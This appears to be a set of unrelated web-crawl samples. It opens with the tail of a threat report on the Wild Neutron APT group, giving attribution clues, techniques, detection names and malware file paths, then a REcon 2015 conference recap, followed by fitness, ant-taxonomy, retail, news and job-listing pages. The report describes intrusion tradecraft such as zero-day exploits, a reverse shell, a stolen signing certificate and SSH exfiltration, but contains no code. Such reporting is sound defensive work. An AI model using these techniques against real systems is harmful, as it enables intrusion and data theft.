- United States
The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases, a small number of computers have been infected throughout the organizations. The attackers appear to have updated the malware implant and deployed some additional tools, however, we haven't observed serious lateral movement in these cases.Attribution
The targeting of various companies, without a government focus, makes us believe this is not a nation state sponsored APT. The attackers have also shown an interest in investment related targets, which indicate knowledge and skills to exploit such information on the market to turn it into financial advantages.
In some of the samples, the encrypted configuration includes a Romanian language string #WildNeutronTweet
In some of the samples, the encrypted configuration includes a Romanian language string, which is used to mark the end of the C&C communication:
Interestingly, "La revedere" means "goodbye" in Romanian. In addition to that, we found another non-English string which is the latin transcription of the russian word Успешно ("uspeshno" -> "successfully"); this string is written to a pipe after executing a C2 command.
We found another non-English string which is the latin transcription of the russian word #WildNeutronTweet
One of the samples has an internal name of "WinRAT-Win32-Release.exe". This seems to indicate the authors are calling the malware "WinRAT".
More information about the Wild Neutron attribution is available to Kaspersky Intelligence Services customers. Contact: firstname.lastname@example.com
Compared to other APT groups, Wild Neutron is one of the most unusual ones we've analysed and tracked. Active since 2011, the group has been using at least one zero-day exploit, custom malware and tools and managed to keep a relatively solid opsec which so far eluded most attribution efforts. Their targeting of major IT companies, spyware developers (FlexiSPY), jihadist forums (the "Ansar Al-Mujahideen English Forum") and Bitcoin companies indicate a flexible yet unusual mindset and interests.
Some of group's distinctive features include:
- Use of open source tools and leaked sources of other malware
- Use of stolen certificate from Acer Incorporated to sign malware
- Use of cross platform zero-day exploit (Java and Flash) followed by cross platform payload reverse shell (Perl) for initial penetration
- Use of *NIX code ported to Windows through Cygwin
- Heavy use of SSH for exfiltration, a commonly used *NIX administration tool
- Use of CryptProtectData API to keep C&C URLs secret
- Simple command line interface, built around all malware components, utilizing named pipes for communication between modules;
- Auxiliary tools are written in C and most of them contain a built-in help, which may be printed by executing the binary with a "–pleh" parameter
We continue to track the Wild Neutron group, which is still active as of June 2015.
Kaspersky products detect the malware used in the attacks as:
HEUR:Trojan.Win32.WildNeutron.gen, Trojan.Win32.WildNeutron.*, Trojan.Win32.JripBot.*, HEUR:Trojan.Win32.Generic
%APPDATA%\Roaming\sqlite3.dll (UPX packed)
C:\Program Files (x86)\LNVSuite\LnrAuth.dll
C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll
C:\Program Files (x86)\LNVSuite\LnrUpdt.exe
C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe
Email and Emotions
You Are a Target
Browse With Encryption
Long live REcon – my 10th REcon anniversary
I got back from REcon 2015 a week ago and I'm well and truly over the jet lag at last. As usual, it was a great conference with many interesting talks and people. It is always great to meet other reverse engineers from all over the world and discuss new techniques, tools and research.
Tradition dictates that the event starts with training sessions, and I gave my usual four-day training on malware reverse engineering. During that time we covered all sorts of topics such as how to unpack/decrypt malware, analyze APT and so on.
I even got an award to mark 10 years of teaching Reverse Engineering class at REcon. Time flies
The conference was great. There were several interesting talks, more or less related to malware research. Here are the summaries of a few of them:
Introducing Dynamic IDA Enrichment framework (a.k.a DIE):
DIE is a new Hex-Rays IDA plugin that crosses the static-dynamic gap directly into the native IDA GUI. It gives researchers access to runtime values from within their standard disassembler screen.
As opposed to previous projects with similar goals, DIE takes a different approach by using an extensive plugin framework which allows the community to constantly add logic in order to better analyze and optimize the retrieved runtime values.
With a click of a button, everything is accessible to the researcher: he can inspect handles passed to a function, analyze injected code or runtime strings, enumerate dynamic structures, follow indirect function calls and more.
After the framework was explained, 3 live demos showed how to use the tool.
The slides are available here: http://fr.slideshare.net/ynvb/0x3e9-waystodie
The framework can be downloaded here: https://github.com/ynvb/DIE
Totally Spies!
This presentation covered research done into the AnimalFarm operation as well as technical details of their various pieces of malware. The presentation also highlighted connections between samples as well as technical hints found regarding attribution.
The M/o/Vfuscator
Based on a paper that proves that the "mov" instruction is Turing complete, the M/o/Vfuscator takes the source code and compiles it into a program that uses *only* mov instructions – no comparisons, no jumps, no math (and definitely no SMC cheating).
The talk demonstrated how it is possible to write programs with only mov instructions as a way to obfuscate code. I asked the author of the presentation to make a crackme using the obfuscator, which he kindly made.
Crackme: https://github.com/xoreaxeaxeax/movfuscator/tree/master/crackme
Obfuscator: https://github.com/xoreaxeaxeax/movfuscator
Other interesting talks included:
- This Time Font can hunt you down in 4 bytes
- Hooking Nirvana
- One font vulnerability to rule them all
- Reversing the Nintendo 64 CIC
You can find the full conference schedule at http://recon.cx/2015/schedule/
Slides and the videos from every talk will be uploaded soon on the REcon website.
See you next year at REcon 2016!


text:
Below are top resources on SparkPeople for Define Body Composition.
Body weight alone is not a clear indicator of health or fitness because it does not distinguish how many pounds are fat and how many are muscle. But body composition helps describe the amount (and distribution) of fat and lean muscle tissue in the bo... Read more
Some people can measure their weight loss by the way they feel and look: firmer thighs, a smaller waist, jiggle-free arms. But then there are the number-crazy ones who desperately need some kind (any kind!) of concrete proof that all their hard work... Read more
Whether browsing the Internet, surfing through 500 channels, or flipping through your favorite magazine (or tabloid), you'll find them everywhere: weight loss supplements that offer quick and easy solutions to shedding unwanted pounds. Simply p... Read more
Recently Lori, a client of mine, called me angry, upset and discouraged. She had just returned from her yearly physical, which she had been eagerly anticipating. Though she hadn't reached her weight-loss goal, Lori had made many lifestyle c... Read more
Why do you exercise? Whether you want to increase your energy, reduce your health risks, or lose some unwanted pounds, do you ever wonder if all that working out is working for you? That's where fitness assessments come in, and they can be great... Read more
Just wondering who is yr body inspiration/fitness icon? Personally I think Jenny Hendershott is amazing n would love to be that toned... Read more
On my 12th day and the past 3 days my body seems to not let go of 1lb I've lost 12 total but now no matter what I do doesn't help my calorie intake is about 1300 and I'm burning 1000/1100 per day. Leaving about 1200 cal on the book. Help pls.???... Read more
True, 32% Body fat according to the scale.... Read more
Newtonian physics - a body at rest tends to stay at rest unless acted upon by an outside force. Maybe the outside force can be a buddy to walk with. Not exercising is a habit. You can substitute a new habit - walking. It takes some willpower.... Read more
everyone should check out body project on youtube. they're workouts are awesome. there is beginner, low impact,intermediate, and advanced workouts. I've been doing them for over a month (not including 2 weeks I took off) and I'm see great changes.... Read more
I have found the key to weight loss and increasing ones metabolism is eating 5-6 meals a day and limiting the fat, sugar and sodium. Fresh fruit and vegetables is a key factor in living healthy and weight loss.... Read more
remember that the number on the scale doesn't define you as a person nor does it define your efforts and success.... Read more
This is for every actress/actor or anyone connected to theater out there dealing with the struggles and triumphs of a thankless but wonderful business! It's hard being in a group of perfect bodies!... Read more
Ideally, a healthy body is comprised of about 55-60 percent water, 10-20 percent muscle and lean tissue, 6-8 percent bone minerals and about 18 (men) or 22 (women) percent fat. When fat reserves rise higher than desired and weight loss is indicated,... Read more
I appreciate the positive responses and club name ideas shared by readers of my earlier blog, But What if I Cant Lose Weight. I am starting a new series to provide ideas, topics and suggestions that may help you move forward in your quest for weig... Read more

subset: commoncrawl


text:
To cite this page, please use the following:
· For print: . Accessed
· For web:
Taxonomic history
|[Misspelled as Technomyrmex pallidipes by Dalla Torre, 1893 PDF}: 166.].
|Combination in Technomyrmex: Bolton, 2007B PDF: 56.
|Senior synonym of Technomyrmex affinis, Technomyrmex atrichosus, Technomyrmex brevicornis, Technomyrmex foreli, Technomyrmex primroseae, Technomyrmex truncicolus: Bolton, 2007B PDF: 56.
Technomyrmex pallipesHNS (F. Smith, 1876)
(Fig. 6)
Tramp species, in hothouses, Palaearctic, potentially to be imported to the New World.
Found most commonly in these habitats: 22 times found in urban/garden, 21 times found in grassland, 14 times found in tropical dry forest, 9 times found in Uapaca woodland, 13 times found in rainforest, 1 times found in Gallery forest on sandy soil, 8 times found in spiny forest/thicket, 5 times found in tropical dry forest on tsingy, 7 times found in gallery forest, 3 times found in urban garden, ...
Collected most commonly using these methods or in the following microhabitats: 18 times Malaise trap, 10 times MW 50 sample transect, 5m, 1 times 10 MaxiWinks, mixed samples, 4 times beating low vegetation, 3 times MW 20 sample transect, 10m, 5 times EC32 sweeping, 4 times Malaise, 3 times Beat 25 sample transect, 10m, beating low vegetation, 1 times 10 Maxiwinks, 3 times MW 20 sample transect, 5m, 3 times MW 25 sample transect, 5m, ...
Elevations: collected from 10 - 1984 meters, 790 meters average
Type specimens: Holotype of Technomyrmex primroseae: casent0102318; paratype of Technomyrmex primroseae: casent0172798; syntype of Technomyrmex albipes foreli: casent0101255; syntype of Technomyrmex pallipes: casent0102320; syntype of Technomyrmex albipes foreli: casent0905070; syntype of Technomyrmex atrichosus: casent0911582; syntype of Technomyrmex brevicornis: casent0911584; syntype of Technomyrmex foreli affinis: casent0911585


text:
I-Street Public Meeting with SLC Thurs, 6/21 4-6PM
The city is holding a meeting to give the public a chance to comment on I Street on Thursday, 6/21 from 4-6 PM at the Day-Riverside Library.
The library is located at 1575 West 1000 North. Near the intersection of 1000N and Redwood Rd.
Please come out and show your support!!
Results 1 to 4 of 4
Interbike Featured Booths
Check out hottest mountain bike products from these brands!
See All Interbike Coverage - Click Here »
Hot Deals See All Hot Deals >>
Latest Mountain Bike Articles


text: Here's A Guy Doing A Backflip Over A 72-Foot Canyon23Raphael OrloveFiled to: Two Wheels GoodBikelopnikJumps10/23/13 2:43pmEditDeleteInvite manuallyPromoteDismissUndismissBlock for jalopnikHideShare to KinjaGo to permalink This is Kelly McGarry putting down the second best run of the Red Bull Rampage mountain biking competition. The course features a 72-foot jump over a canyon. For no good reason, McGarry did a backflip over it. I know this is a car site, but damn, that's a pretty amazing man/machine combo right there.23126ReplyLeave a reply


text:
Wrangler Red wool blazer
Item No.2800105272
Item No.2800105272
50% Off - Save a total of £75.00
This red wool blazer from Wrangler features a black check print, four button fasten front pockets, a smooth black lining and a rib lined funnel neck.
UK Home Delivery Free (UK orders over £30) or £3.49
Delivered within 5 working days
Next or Named Day Delivery
7 days a week between 8am - 6pm
Sunday to Friday - order by 9pm - £3.99
Saturday - order by 6pm - £3.99
Next or Named Evening Delivery
7 days a week between 6pm - 10pm
Monday to Sunday - order by Midnight - £6.99
Collect from store the next day - FREE
Order before 9pm for next day collection after 12pm midday
Show participating stores
Show full delivery details
Subject to exceptions, Debenhams is happy to exchange or refund your purchase within 28 days of delivery. Please check here for more details on our returns policy and exceptions.


text:
10 PIECE LANTERN WITH WREATH PATH LIGHTS (Item #37309)
Ten piece light up wreaths. Ten wreath lantern path lights brighten Christmas spirits with a warm glow. Line a walkway, path, or accent landscape features with a cheery, radiant glow sure to bring joy to the biggest Scrooge. 15' ten-piece stake set features open ends for plugging several sets together. Polystyrene, 5 1/4" lantern.
Recommended Products
outdoor solar led light
Your Price: $9.98
black solar gutter light
Your Price: $9.98
solar spot light set of two
$17.98 - $19.98
red white and blue rope light
$22.98 - $24.98


text:
The World's Largest Luxury Marketplace
Featuring more than 83,000 private jets, yachts, exotic cars, exclusive watches and luxury homes from more than 3,800 trusted dealers around the world. JamesEdition helps you find the best of the best, whether you are in the market to buy or to find the perfect private jet or luxury yacht to charter.
Most Popular
$ 220,000
$ 10,691,300
$ 2,950,000
$ 45,900,000
$ 79,995
Address Available Upon Request
$ 100,000,000
Featured Agent
Harry Kolb, Sotheby's International Realty - Montecito - Coast Village Road
Harry Kolb is one of the foremost experts on luxury residential real estate in Montecito. His past professional involvement in international marketing has served him well in managing the sale of estate properties.He was one of the founding members of Sotheby's International Realty when they opened their first office in Montecito and his real estate career has spanned more than 30 years. He has personally managed several billion dollars in transactions representing over 200 estate property sales.As an authority on Montecito real estate, architecture and history he has specialized in the marketing and sale of architecturally significant homes and has frequently been quoted in the New York Times, Wall Street Journal, Forbes Magazine, Los Angeles Times and Architectural Digest. He assisted in the publication of books on famed architects George Washington Smit...
Featured Dealer
Immobilien Lückmann
We have got exclusive property in our large portfolio, mainly in Andalusia at the Costa del Sol. We will not only help you to find your holiday home or investment property, but will also love to consult you with regard to any questions that might occur be...
Latest Stories
A Passion Investing Renaissance: New UHNWI Buying Trends in Real EstatePosted 1 week ago Land ownership has often been cited as the most ancient expression of wealth. Throughout human history, it has incited strong emotion -- joy, envy and admiration. And now, some new trends are evolving, due to the relationship between land and the exponent...
Rolls-Royce Unveils new Dawn Drophead for 2016Posted 1 week ago It's not often that Rolls-Royce introduces a new car, so when the famed British manufacturer of top shelf luxury cars unveils a new model, especially a convertible, the world tends to pay attention. Rolls-Royce's new Dawn just debuted to the p...
UHNW Consumers - New Trends In The Luxury Real Estate MarketPosted 2015-08-25 In August 2015, surprising growth statistics emerged regarding real estate purchase trends of the elusive UHNWI (the Ultra High Net Worth Individual) demographic. Though this group's asset base is $30M and up, their purchase behaviors have been diff...
Five Important Sales From the 2015 Monterey AuctionsPosted 2015-08-25 Monterey is the biggest auction event of the year, and in 2015 no less than seven companies conducted auctions there. There were some big no-sales this year and it has been said that overall auction activity is leveling off after several years of huge gro...
The wristwatch: From a necessity to an accessoryPosted 2015-07-28 The story of the wristwatch is a both remarkable and interesting story. It all started as an instrument for soldiers in the 1880s to coordinate attacks without the enemy intercepting any signals, which prove to be a very efficient tool on the battlefield....


text: BWP investors: You may wish to consider KMR. Not only does the size of the Kinder Morgan family of equities make KMR likely able to refinance more easily when needed than BWP, you also have favorable tax treatment of dividends. On favorable tax treatment: KMR pays its dividends in stock. Thus, one incurs no tax until and unless one sells the new stock one gets as the dividend. This is already a great benefit for KMR. If the Bush tax cuts expire, it will be even more impressive of a KMR advantage. It is true a master limited partnership like BWP often distributes by return of capital rather than dividends. But return of capital hurts you when you go to sell the master limited partnership, since your tax basis is reduced. One preserves the full tax basis of the purchase price of KMR, since the distributions by KMR are stock divdends rather than return of capital.You might note KMR being up 55% in a sideways market yesterday, on volume that was more than double KMR's normal volume. Also, note it was steady to up in the last hour of trading yesterday, a nice daily chart characteristic (contrast SPY yesterday, for instance).If you profit on KMR, please consider donating some to an effective charity. Best wishes!


text:
The (POGO) Blog
July 23, 2015
DoD Reply to 2010 FOIA: Go to the Army
After five years, POGO finally receives a FOIA response from the Department of Defense...sort of.
Continue Reading DoD Reply to 2010 FOIA: Go to the Army
Topics: Government Accountability
July 23, 2015
Dodd-Frank Turns Five; Too Soon to Celebrate?
The Dodd-Frank Act turns five this week. POGO's review of the law's implementation at one agency shows that the anniversary is full of both promise and disappointment.
Continue Reading Dodd-Frank Turns Five; Too Soon to Celebrate?
Topics: Financial Sector
July 20, 2015
By Meg Lentz
From Battlefield to Boardroom: Facilitating the DoD Revolving Door
The Project On Government Oversight has learned of a new avenue the private sector is using to facilitate the revolving door between the Department of Defense (DoD) and defense contractors.
Continue Reading From Battlefield to Boardroom: Facilitating the DoD Revolving Door
Topics: Government Accountability
June 8, 2015
POGO Asks President Obama to Replace SEC Chair Mary Jo White
The revolving door between industry and the Securities and Exchange Commission (SEC) has irreparably undermined the tenure of SEC Chair Mary Jo White, the Project On Government Oversight (POGO) said today in a letter asking President Obama to replace her.
Continue Reading POGO Asks President Obama to Replace SEC Chair Mary Jo White
May 20, 2015
Email Shows How Credit Suisse Works the Revolving Door
Bloomberg has reviewed an email in which Melanie Nussdorf, a former Department of Labor (DOL) lawyer who now represents Credit Suisse, repeated "thank you" 600 times in an email to DOL after getting a favorable response from her former agency.
Continue Reading Email Shows How Credit Suisse Works the Revolving Door
Stay Connected
Browse POGOBlog by Topic
POGO on Facebook
POGOBlog Contributors
Latest Podcast
Podcast; Social Media, Internet Provides Opportunities, Challenges for Lawmakers
The Congressional Management Foundation offers the Gold Mouse Awards annually to members of Congress who make the most of the opportunity the digital world offers them. POGO spoke with members of Rep. Mike Honda's communications team about their award.


text:
City Council members have taken a fairly thorough drubbing in the press this year, what with reports on their salaries, their city-issued cars, their pension perks, their summer work ethic, and the tax-delinquent tendencies of some their staffers.
All this has some on Council feeling quite tetchy of late. Why, some are asking, are they coming in for so much criticism? Particularly when it comes to their use of city resources?
Part of the answer is contained in a report on the city's five-year plan issued last week by the Pennsylvania Intergovernmental Cooperation Authority.
The report includes a telling chart that graphs spending by a host of city departments and entities from 2008 through their 2010 budgeted totals. (scroll to page 33)


text:
From Activism to Drive Partitioning
One of our goals as a web site news source is to provide our contributors with a forum for sharing and discussing business practices and corporate decisions that affect Linux users. Adam Kosmin, author of "The Toshiba Standoff" (www.linuxjournal.com/article/6318) took us up on our offer. He wrote about his frustration with the Toshiba Corporation and their refusal to grant him a refund for returning the copy of Microsoft Windows that came pre-installed on his laptop. He outlines well the runaround Toshiba's customer service gave him; he couldn't get a laptop without Windows, and they wouldn't give him a refund, even though the Microsoft End User License Agreement offers one. They told him if he wanted to pursue it, "they'd see him in court". Excellent customer service, indeed.
More recently, Adam updated us about the creation of WindowsRefund.net (www.linuxjournal.com/article/6363), his attempt to reorganize the operating system refund movement.
Continuing with the activism theme, Doc Searls wrote about his visit to Beverly Hills to attend the Digital Hollywood conference (www.linuxjournal.com/article/6360). Perhaps the fact that he was almost the only attendee with a laptop should have been a clue about who the rest of the crowd was. Are we the only ones thinking that the industry most desperate to control the Internet doesn't even use the Internet? Like Fast Food Nation, Doc's article confirms that, yes, it is that scary behind corporate doors. But he reaffirms the fact that the next generation of Hollywood blockbusters are all being made on Linux farms. So how long are the big guys going to fight the future when their own tech teams have switched sides?
Moving on to some of the technical articles, Leon Goldstein's review of Libranet 2.7 is titled, "Debian on Steroids" (www.linuxjournal.com/article/6358). A distribution based on Debian, Libranet's main appeal is it offers all the security and upgrade convenience of Debian, but with an easier installer.
Pat Shuff asks the important question, "How Many Disks Are Too Many for a Linux System?" (www.linuxjournal.com/article/6238). In light of the trend to recentralize resources and facilities, many system administrators are wondering exactly how big of a server they need to efficiently handle network traffic. According to Shuff, the answer to his title question depends on bandwidth, latency and addressability much more than it does on the OS running the show.
George Toft takes a look at "Using Logical Volume Management" (www.linuxjournal.com/article/5957), tries the LVM support in SuSE and Mandrake and reports on attempts to resize a ReiserFS partition on the fly. Now you don't have to re-install if you made your /var too small to log all the hits your web site is getting.
If you want to share your story of grassroots activism, or explain how you managed to connect your garage-door opener to the microwave to your office computer, send your article idea to Heather Mead at email@example.com. And, be sure to check the Linux Journal web site often; new articles are posted daily.
Heather Mead is senior editor of Linux Journal.
Special Reports: DevOps
Have projects in development that need help? Have a great development operation in place that can ALWAYS be better? Regardless of where you are in your DevOps process, Linux Journal can help!
With deep focus on Collaborative Development, Continuous Testing and Release & Deployment, we offer here the DEFINITIVE DevOps for Dummies, a mobile Application Development Primer, advice & help from the experts, plus a host of other books, videos, podcasts and more. All free with a quick, one-time registration. Start browsing now...
Geek Guides
Practical (and free!) books for the most technical people on the planet. Newly available books include:
Plus many more.
Trending Topics
|A First Look at IBM's New Linux Servers
|Oct 08, 2015
|The Ubuntu Conspiracy
|Oct 07, 2015
|Vigilante Malware
|Oct 06, 2015
|Non-Linux FOSS: Code Your Way To Victory!
|Oct 05, 2015
|Dealing with Boundary Issues
|Oct 02, 2015
|October 2015 Issue of Linux Journal: Raspberry Pi
|Oct 01, 2015
- The Ubuntu Conspiracy
- A First Look at IBM's New Linux Servers
- Vigilante Malware
- Disney's Linux Light Bulbs (Not a "Luxo Jr." Reboot)
- Libreboot on an X60, Part I: the Setup
- System Status as SMS Text Messages
- Vagrant Simplified
- Bluetooth Hacks
- Dealing with Boundary Issues
- Non-Linux FOSS: Code Your Way To Victory!


text:
Classic Gospel
Series Description: From the producers of He Touched Me: The Gospel Music of Elvis Presley, this series combines classic gospel music performances from over two decades of live Gaither Homecoming Gospel Concerts. This series features the harmony and spirit of Southern gospel music as sung by the pioneering and contemporary greats of this distinctly American musical genre.
All Upcoming Episodes
Gaither Vocal Band Reunion, Volume 1 (#602)
Past and present group members celebrate a quarter-century of songs documenting their rich legacy. [56 minutes]
- Sat, October 10, 6:00 PM on IPTV
Amazing Grace (#603)
This powerful Homecoming gathering offers a timeless treasury of the great hymns of the church. [56 minutes]
- Sat, October 17, 6:00 PM on IPTV
How Great Thou Art (#604)
Bill and Gloria Gaither host a timeless celebration of the great hymns of the Church. [56 minutes]
- Sat, October 24, 6:00 PM on IPTV
Past Episodes
These episodes of Classic Gospel aired in the last few months on Iowa Public Television.
- Homecoming Picnic (#1013)
- Kennedy Center Homecoming (#1012)
- The Best of the Booth Brothers (#1011)
- Heaven (#1010)
- Goodman Revival: Songs in the Key of Happy (#1009)
- The Gospel Music of the Statler Brothers Volume #1
- The Gospel Music of Marty Stuart and His Fabulous Superlatives (#1007)
- Red Rocks Homecoming (#1006)
- God Bless The USA (#1005)
- Homecoming Texas Style (#1004)
- Cathedrals Family Reunion (#1003)
- Cliff Barrows: Celebrating The Music of the Billy Graham Crusades (#1002)


text:
Personalise your news, save articles to read later and customise settings
If you have trouble accessing our login form below, you can go to our login page.
Brisbane Times
Previous thumbnails
Next thumbanils
Bull shark. Photo: Klaus Jost (www.jostimages.com)
Please enter your friend's name
Please enter a valid email address
Please enter your name
Please enter your comment
Thank You.
Your email has been sent.
Sydney siders come out to take in the sun at Bondi as the temperature rises. Like our photos? Selected images available from ...
Warm spring weather greets locals at Bondi this week. All photos by Dallas Kilponen. Like our photos? Selected images available from ...
New research on the breathing styles of sharks will help fisheries managers to protect more vulnerable species, many of which face the ...
Sorry. An error occurred when submitting the form.
Please try again later.
For sale: Waterhouse Island
Picture Editor's Choice, 7th October, 2015
Lance Field Fires
Lord of the Dance
Floriade's Dog Day Out
These stunning photos were taken by underwater and wildlife photographer Klaus Jost. See more of his images at www.jostimages.com.
Skip to:
Variable rates as low as 3.99% p.a + no monthly fees
More Info
Earn 3 times the Velocity Points in first 3 months
Find Out More
$100 off a single Coles Supermarket shop. T&Cs apply
Check it Out
Compare all the prices and plans from all carrliers
iPhone 6s
From $61/mth with over 200 options across 12 iPhone models
Phone Plans


text:
Sponsored By
Best Mother's Day Gifts In SeattleThere are many wonderful gift ideas in the Seattle area, and the gifts are as varied as the different preferences of mothers. Gifts range from artwork and fashion to self-care and gardening. The active mother enjoys gifts suited to her passions in life, and brings joy to Mother's Day.
Gift Guides: The Best Subscription-Based Gift IdeasWhether you procrastinated gift shopping or have simply exhausted your list of gift ideas, here are some of the best subscription-based services to give as gifts to friends, family and loved ones this holiday season.
Navigating The Web For The Best Deals On Cyber MondayGet prepared for big savings with these tips for Cyber Monday shopping.
Why Small Business Saturday Is Important For Your CommunitySmall Business Saturday will take place nationwide this year on November 29th. Since its launch in 2010 it has helped change the landscape of big-city neighborhoods and small town U.S.A.
Best Time To Shop On Black FridayThe crack of dawn isn't the only option for Black Friday shopping.
The 5 Best Adventures For Your Rome VacationExplore five of the greatest adventures to be had in one of the most famous cities in the world, Rome.
8 Things You Need For an Epic SummerGear up for an epic summer with these must-have essentials, brought to you by CBS Local's Eat. See. Play.
The E.S.P. Spring Fashion Guide For GuysIt may still feel cold enough outside to lose a few of your non-essential extremities to frostbite, but spring fashion waits for no one.
Man Pays $735 For Picture Of Xbox OneA British man was scammed on eBay, buying what he thought was an Xbox One and instead getting a picture of the gaming system.
What To Do At America's 10 Most Delayed AirportsDelayed at the airport during your travels? Check out this guide on where to eat, drink and shop at America's 10 most delayed airports.
Seattle's Nordstrom Offers Tips for Inaugural Balls and GalasSeattle based Nordstrom Fashion Director Gregg Andrews and Top Salesperson Chris Sharma have compiled their best tips for creating an Inaugural Ball look that will have heads turning.
Guide to Home and Garden Shows in the NWIf you are thinking about sprucing up your garden, making some changes to your kitchen or master bath, you might want to head to one of the area's many events for home owners. Learn from the experts, find ideas and shop for spring plantings under one roof!


text:
Amber Rose, Her #SlutWalk, And Why We're So In Love With Her
BY Jenavieve Hatch in Feminism on Oct 06, 2015
You Need To Watch Amber Rose's "Walk of No Shame"
BY Taia Handlin in Feminism on Sep 16, 2015
Sexually Harassed? Change Your Wardrobe!
BY Elizabeth Ollero in Feminism on Aug 21, 2015
Chvrches Singer Lauren Mayberry Takes On More Online Misogyny
BY Olivia Harrison in Music on Aug 18, 2015
K-Stew Helps Female Filmmakers Develop New Twilight-Inspired Shorts
BY Audrey Cerchiara in Arts on Nov 18, 2014
Add This Song to Your (Sick of) Slut Shaming Playlist
BY Audrey Cerchiara in Music on Sep 24, 2014
Redefining the Word "Slut" With the UnSlut Project
On Newsstands Now: Oct/Nov 2015
Trending on BUST
Upcoming Events
|Women of Letters (NYC)
Wed Oct 07 @ 6:00PM -
|New Society (NYC)
Wed Oct 07 @ 7:30PM - 10:00PM
|Industry City Happy Hour
Thu Oct 08 @ 5:00PM - 08:00PM
|The Hum
Fri Oct 09 @ 8:30PM - 12:00AM
|The Hum
Mon Oct 12 @ 8:30PM -


text:
Texans-Jets: The 10 Best Rapper Tweets From Monday Night Football
Houston has a professional football team, called the Houston Texans. A lot of people like them; some are rappers.
The Internet has several forms of social media; one is called Twitter. A lot of people use it. Some of them are rappers.
Like last week, we perused Twitter during Monday night's game against the lowly and beleaguered New York Jets, who are fated to an unenviable existence, and grabbed the ten best tweets from the aforementioned rappers on the aforementioned social-media platform.
There's still cursing, history, religion and more. Malibooyah.
10. All Hail Delo, God Of Busting Moves And Soda Water
If that joke didn't make any sense, you should listen to more of Delo's music. He really is one the city's very best young rappers.
9. Propain
8. Scarface's Diary
I mean, if a Geto Boy says it, then it has to be true, right?
7. One Hunnidt
6. Jett I. Masstyr
There were 1,000,000 tweets that happened when Cushing went down. Heartbreak is heartbreak.
5. Bun's RT
Bun B was on ESPN's First Take this morning.
4. and 3. Jack's Back to Back
Jack Freeman has quickly become a MUST FOLLOW during Texans games.
2. The People's Champ
Actually at the game.
1. Wade Phillips
Not a rapper, but has the swagger of 1,000 of 'em.
Follow Rocks Off on Facebook and on Twitter at @HPRocksOff.
Get the Music Newsletter
Keep your thumb on the local music scene each week with music news, trends, artist interviews and concert listings. We'll also send you special ticket offers and music deals.
Sponsor Content
More Music News
- With 'Slab God,' Paul Wall Rides Clean Again
Upcoming Events
Billy IdolTue., Oct. 6, 7:00pm
WALK THE MOON - TALKING IS HARD TOURTue., Oct. 6, 8:00pm
Halsey: Badlands TourWed., Oct. 7, 6:00pm
Brand NewThu., Oct. 8, 6:30pm
- Tickets
- Beach House Has Houston Lost In the Music With Them
- Stages Are Bigger, But Twenty One Pilots Still Have Nothing to Hide


text:
StartUpHire is the place to find Manager, Business Intelligence jobs. Review the list of Manager, Business Intelligence career opportunities to the left. These Manager, Business Intelligence jobs represent some of the most rewarding careers available.
You can refine your job search for Manager, Business Intelligence career opportunities by adding a job title, company name, or keyword to the search box above … or click the "Advanced Search" link for more options.
Don't see the employment opportunity you're looking for? Check back soon for more Manager, Business Intelligence jobs, or sign up for an email alert (link below) to receive periodic updates on new Manager, Business Intelligence jobs.
Exciting position at a Health and Wellness startup in Silicon Valley.10/1/2015 Mountain View, CA, CA Save This Job
Location: Santa Barbara, CAType: Full TimeMin. Experience: Entry Level InTouch Health is the leader in robotic telepresence solutions for healthcare. We are looking for a Data Architect Business Intelligence Manager to join our Information Technology team. The Data Architect10/7/2015 Santa Barbara, CA Save This Job
The Manager, Business Development is an essential part of the growing the Business Development team at Sterling Planet. Candidates should anticipate working in a dynamic environment interacting with all levels of management. Previous experience in sales and knowledge of the9/7/2015 Norcross, GA Save This Job
Be part of an industry-leading security company that offers continuous opportunities for career growth and advancement. Webroot is currently seeking a Senior Product Manager, Threat Intelligence, to guide matrixed resources to grow Webroot?s threat intelligence business in two9/17/2015 Broomfield, CO Save This Job
Req No. REQ108958 Location US-TN-Nashville Category Data/Analytics Options: More information about this job: Job Description: Company Overview ServiceSource (SREV) provides the world?s leading B2B companies with expert managed services, cloud software and best-practice8/8/2015 Nashville, TN Save This Job
Description Our reliability is one of the best in the nation, and we?re working to make it even better. We live here too. That?s why we?re committed to making Florida a better place. Join our team today Learn more The IT ERP Business Analyst Principal is responsible for end user9/8/2015 Juno Beach, FL Save This Job
Main Street Hub is the largest âdo-it-for-youâ marketing platform for great local businesses. Our mission is to create thriving local economies. Come join the #Hublife!10/1/2015 Austin, TX Save This Job
The Technical Operations Manager will report to the Sr. Director of Client Services and serve a critical role managing technology deployment, troubleshooting and reporting related to Integral's services. The position requires close interaction w9/30/2015 New York, NY Save This Job
The Technical Operations Manager will report to the Sr. Director of Client Services and serve a critical role managing technology deployment, troubleshooting and reporting related to Integral's services. The position requires close interaction w9/29/2015 Chicago, IL Save This Job
The Strategic Account Manager (SAM) will be an experienced digital media executive with direct experience working within, or with top-tier advertising agencies and have deep knowledge of digital direct response, brand advertising, programmatic and attribu8/22/2015 New York, NY Save This Job
The Manager of Sales Operations is responsible for projects, processes and systems that improve the productivity of our global sales team. This role also interfaces with other internal groups and stakeholders to ensure cross-functional program management8/19/2015 Waltham, MA Save This Job
Quantcast, a revolutionary audience intelligence and addressable advertising service, has aggressive plans for expansion and is growing its field sales team.10/7/2015 San Francisco, CA Save This Job
The Associate Engagement Manager (AEM) performs activities to include developing the consistent project management processes, tools and templates that are used by the engagement managers. In addition, the AEM will provide engagement management services fo9/16/2015 Dallas, TX Save This Job
Quantcast is seeking a Manager, Campaign Analytics to ensure successful delivery of all display advertising campaign goals in conjunction with the Client Services and Sales teams. This role is responsible for a team of Campaign Analysts that work on both10/3/2015 New York, NY Save This Job
We are looking for a talented and analytical Product Manager to drive the future success of Quantcast Measure. This is an incredible opportunity to take an already successful product to the next level. This is a true product management role, working cross8/31/2015 San Francisco, CA Save This Job
The Manager, Global Compensation and Rewards will leverage the large data resource behind Quantcast's greatest asset, our talented employees, to ensure that we continually foster a high performance, open culture. We are evolving our compensation pro8/29/2015 San Francisco, CA Save This Job
The Corporate Sales Manager is a dynamic and results-oriented individual responsible for managing a team of Account Executives that identify, sell, and close new Digital Advertising to ad agencies and direct clients. The ideal candidate for this posi8/22/2015 Austin, TX Save This Job
The Business Operations Analyst is an integral analytics role within Yield, Pricing, and Advanced Analytics at Quantcast. As a Business Operations Analyst, you surface actionable insights from data to drive revenue, market-share, long-term profits, and/or9/10/2015 San Francisco, CA Save This Job
